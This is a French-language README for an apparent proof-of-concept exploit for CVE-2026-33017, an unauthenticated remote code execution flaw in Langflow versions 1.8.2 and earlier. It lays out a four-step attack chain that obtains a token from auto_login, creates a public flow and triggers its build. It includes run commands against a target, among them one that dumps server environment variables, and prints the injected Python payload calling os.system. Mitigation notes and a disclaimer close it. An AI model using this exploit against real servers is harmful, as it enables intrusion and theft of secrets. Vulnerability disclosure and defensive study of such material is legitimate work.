Preuve de concept d'exploitation pour CVE-2026-33017 démontrant une exécution de code à distance non authentifiée dans Langflow via une injection malveillante de CustomComponent à travers des points de terminaison de build publics.
Identifiant CVE : CVE-2026-33017
Logiciel concerné : Langflow
Versions vulnérables : <= 1.8.2
Version corrigée : >= 1.9.0
Gravité : Critique
Auteur : r3nsi15
Date : 2026
Langflow expose un point de terminaison public de construction de flux (/api/v1/build_public_tmp/{flowID}/flow) qui accepte des blocs de code CustomComponent arbitraires et les exécute côté serveur sans authentification. En injectant une charge utile Python malveillante dans le champ code d'un nœud CustomComponent, un attaquant non authentifié peut exécuter des commandes système arbitraires avec les privilèges du processus serveur Langflow.
La chaîne d'attaque exploite d'abord le point de terminaison /api/v1/auto_login, qui délivre un jeton Bearer sans nécessiter d'identifiants lorsque Langflow fonctionne dans sa configuration de connexion automatique par défaut. Ensuite, elle utilise ce jeton pour créer un flux public temporaire et déclencher l'exécution de code côté serveur via le point de terminaison de construction.
| Point de terminaison | Méthode | Authentification requise | Objectif |
|---|---|---|---|
/api/v1/auto_login | GET | Non | Obtenir un jeton Bearer (la connexion automatique doit être activée) |
/api/v1/flows/ | POST | Oui (Bearer) | Créer un nouveau flux |
/api/v1/build_public_tmp/{flowID}/flow | POST | Non (public) | Déclencher la construction — point d'exécution vulnérable |
/api/v1/flows/{flowID} | DELETE | Oui (Bearer) | Nettoyer le flux créé |
Fichier : CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| Drapeau | Forme longue | Requis | Description |
|---|---|---|---|
-u | --url | Oui | URL de base de l'instance Langflow |
-c | --command | Oui | Commande système à exécuter sur le serveur |
-d | --delete | Non | Supprimer le flux créé après l'exploitation |
Vérifier l'exécution de code :
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Récupérer les variables d'environnement du serveur :
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Conserver le flux après exploitation (ignorer le nettoyage) :
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
L'exploit injecte l'extrait Python suivant dans le champ code d'un nœud CustomComponent :
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - importe dynamiquement le module os et exécute la commande shell fournie par l'attaquant sur le serveur.CustomComponent valide nécessaire pour satisfaire le chargeur de composants de Langflow sans provoquer d'erreur d'analyse.PUBLIC et le point de terminaison de construction est invoqué sur son point de terminaison public, ce qui signifie qu'aucun cookie de session ni jeton d'authentification n'est requis pour déclencher l'exécution.Le système CustomComponent de Langflow permet de soumettre du code Python arbitraire dans le cadre d'une définition de flux. Le point de terminaison /api/v1/build_public_tmp/{flowID}/flow construit et évalue partiellement ce code côté serveur, y compris les instructions au niveau du module, sans sandboxing ni restriction d'accès aux fonctions intégrées de Python telles que __import__.
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
Les quatre étapes peuvent être réalisées par un attaquant anonyme contre un déploiement Langflow par défaut.
LANGFLOW_AUTO_LOGIN=false) dans tout déploiement exposé à Internet.Cette preuve de concept est fournie uniquement à des fins éducatives et de recherche en sécurité autorisée. L'utilisation de ce script contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. L'auteur et les contributeurs déclinent toute responsabilité en cas d'utilisation abusive.